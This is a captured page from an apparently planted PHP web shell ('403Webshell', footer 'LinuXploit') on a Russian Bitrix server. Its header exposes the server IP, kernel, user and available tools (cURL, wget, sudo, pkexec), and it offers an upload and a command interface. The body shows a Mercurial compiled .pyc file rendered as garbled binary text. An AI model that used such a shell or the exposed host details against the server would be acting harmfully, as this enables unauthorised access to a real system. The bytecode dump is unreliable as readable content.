403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib64/python3.9/site-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib64/python3.9/site-packages/mercurial/__pycache__/upgrade.cpython-39.pyc
a

�+�b\:�@s|ddlmZddlmZddlmZmZmZmZ	m
Z
mZm
Z
ddlmZmZddlmZejZdd
d�Zdd
�Zdd�ZdS)�)�absolute_import�)�_)�error�hg�	localrepo�lock�pycompat�requirements�scmutil)�actions�engine)�
stringutilFNTc)CsN|durt�}|��}i}|dur,||tj<|dur>||tj<|durP||tj<t�|�t�	|j
�}	t�|j
|	�}
|
�t�
|��t�||
�t�|�}g}|D]$}
|
j|vr�|�|
�|�|
j�q�|r�tjtd�d�t|��td�d��t�|�}t�||||j|
�}t�|�}t�}td�}td�}d}tj}tj}tj}|�r�t|����r~|��D]\}}|�r`|�|��q`n.ttj �}|��D]\}}|�s�|�|��q�|�!��r8t�}|�|�|�|�|�|�d	d
�|D�}|j"dd�d
�|�r8td�}td�}d�dd�|D��}||;}tj||d��t||dd�d
�D�]n}|j#tj$k�rd�qL|j%�r�||v�r�||v�r�||�s�|d|jf}|�&|�d}n$|d|jf}|�'|�|j(�s�d}|�|�|j)�rH||v�rH||v�r||�s>|d|jf}|�&|�d}n$|d|jf}|�'|�|j(�s>d}|�|�|j*�rL||v�rL||v�r�||�s�|d|jf}|�&|�d}n$|d|jf}|�'|�|j(�s�d}|�|��qL|dk�r�|�&d�n|dk�r�|�'d�t�+||
|j||||�} |�s&g}!g}"|D]0}#|#�,|��r.|!�|#�n|#j-�r|"�|#��q|!�sP|"�r�|!�r�|�'td��|!D]}$|�'d|$j|$j.f��qh|"�r�|�'td��|"D]}$|�'d|$j|$j.f��q�|�'d�n|�'td ��|�'td!��| �/�| �0�| �1�| �2�| j3�r"|�'td"��| �4�dS| j�sH| j5�sH|�'td#��dS|�6td$��| �/�| �0�| �1�| �2�|�'td%��|�7����|�8���~|�'td&��t9j:d'|j;d(�}%d}&z�|�'td)�|%�|j
�<|j
�}'t=j>|'|%dd*�}(|(�7��J|(�8�� t�?|||(| �}&Wd�n1�s*0YWd�n1�sJ0YW|�'td+�|%�|j@jA|%dd,�|&�r�|j(�s�|�&td-�|&�|�&td.��| �B�nZ|�'td+�|%�|j@jA|%dd,�|&�r|j(�s|�&td-�|&�|�&td.��| �B�0Wd�n1�s 0YWd�n1�s@0YdS)/zUpgrade a repository in place.Ns)unknown optimization action requested: %ss, s0run without arguments to see valid optimizations��hints3warning: ignoring %14s, as upgrade is changing: %s
s3note:    selecting %s for processing to change: %s
rcSsg|]}|js|�qS�)Zcompatible_with_share��.0�arr�7/usr/lib64/python3.9/site-packages/mercurial/upgrade.py�
<listcomp>tszupgraderepo.<locals>.<listcomp>cSs|jS�N��name�rrrr�<lambda>w�zupgraderepo.<locals>.<lambda>)�keys2cannot use these actions on a share repository: %ss$upgrade the main repository directlycss|]}|jVqdSrrrrrr�	<genexpr>{rzupgraderepo.<locals>.<genexpr>cSs|jSrrrrrrrrs
--no-filelogs�sall-filelogsrs
--no-manifestsall-manifestlogss--no-changelogTs	changelog�
sBrepository lacks features recommended by current config options:

s
%s
   %s

s?repository lacks features used by the default config options:

s2(no format upgrades found in existing repository)
sEperforming an upgrade with "--run" will make the following changes:

sKadditional optimizations are available by specifying "--optimize <name>":

snothing to do
s-upgrade will perform the following actions:

sbeginning upgrade...
s repository locked and read-only
supgrade.)�prefix�dirs9creating temporary repository to stage upgraded data: %s
)�pathZcreates!removing temporary repository %s
)Zforciblys'copy of old repository backed up at %s
sqthe old repository will not be deleted; remove it to free up disk space once the upgraded repository is verified
)C�setZ
unfiltered�upgrade_engineZUPGRADE_CHANGELOGZUPGRADE_MANIFESTZUPGRADE_FILELOGS�upgrade_actionsZcheck_source_requirementsrZdefaultcreateopts�uiZnewreporequirements�updateZpreservedrequirementsZcheck_requirements_changesZfindoptimizationsr�append�discardr�Abortr�join�sortedZfind_format_upgradesZdetermine_upgrade_actionsr
Zfind_format_downgrades�any�values�items�addZUPGRADE_ALL_REVLOGSZshared�sort�typeZFORMAT_VARIANTZtouches_filelogs�warn�status�quietZtouches_manifestsZtouches_changelogZUpgradeOperation�
fromconfig�default�descriptionZprint_requirementsZprint_optimisationsZprint_upgrade_actionsZprint_affected_revlogsZunused_optimizationsZprint_unused_optimizations�removed_actions�write�wlockrr	Zmkdtempr#�	__class__rZ
repositoryZupgradeZvfs�rmtreeZprint_post_op_messages))r'Zrepo�run�optimizeZbackupZmanifestZ	changelogZfilelogsZspecified_revlogsZdefault_optionsZnewreqsZalloptimizationsZ
optimizations�oZformat_upgradesZ
up_actionsr:Ztouched_revlogsZ
overwrite_msgZ
select_msgZ
msg_issuedZFLZMNZCLZrlZenabledZunsafe_actions�m�hr�action�msgZ
upgrade_opr7Zonlydefault�d�iZtmppathZ
backuppathZrepouiZdstreporrr�upgraderepo!s�






��
�





�
















�
�����������	�F
���
�
���rHc
Csjd}t�|d�}|��}||}	|	�tj�|�tj�|dkrDdS�zz|t�||ddd�}t�|d�}
|
|kr�||
}||8}||
O}||}	|	�tj�|�tj�t�	||	�|�
td��Wn~tj
�yB}zbtd�}
|d	k�r
tjtd
�t�|j�|
d��n$|�r.|j
td�t�|j�|
d�WYd}~n
d}~00W|�rf|��n|�rd|��0dS)
z,Upgrades a share to use share-safe mechanismNF�allow�wlockrTs+repository upgraded to use share-safe mode
�?see `hg help config.format.use-share-safe` for more informations
upgrade-aborts&failed to upgrade share, got error: %srs'failed to upgrade share, got error: %s
)r�
_readrequires�copyr1�requirementsmod�SHARESAFE_REQUIREMENT�lockmod�trylockr�
writerequiresr4rr�	LockErrorr+r�forcebytestr�strerror�release)r'�hgvfsZstorevfs�current_requirements�mismatch_config�
mismatch_warnr<Zstore_requirements�original_crequirementsZdiffrequires�locked_requirements�removed�errrr�upgrade_share_to_safe,sT	�

��
��
�r_c

Cs\d}t�|d�}|��}|tj8}||O}|�tj�|dkrBdS�zzrt�||ddd�}t�|d�}	|	|kr�||	}
||
8}||	O}||O}|t	tj�8}t
�||�|�t
d��Wn|tj�y4}z`t
d�}|dkr�tjt
d	�t�|j�|d
��n$|�r |jt
d�t�|j�|d
�WYd}~n
d}~00W|�rX|��n|�rV|��0dS)z5Downgrades a share which use share-safe to not use itNTrIrJrs1repository downgraded to not use share-safe mode
rKsdowngrade-aborts(failed to downgrade share, got error: %srs)failed to downgrade share, got error: %s
)rrLrMrNZWORKING_DIR_REQUIREMENTS�removerOrPrQr$rrRr4rrrSr+rrTrUrV)
r'rWZ	sharedvfsrXrYrZr<Zsource_requirementsr[r\r]r^rrrr�downgrade_share_to_non_safeisR	
�
��
��
�ra)FNTNNN)Z
__future__rZi18nr�rrrrrPr	r
rNrZ
upgrade_utilsrr&r
r%ZutilsrZallformatvariantrHr_rarrrr�<module>s $
�

=

Youez - 2016 - github.com/yon3zu
LinuXploit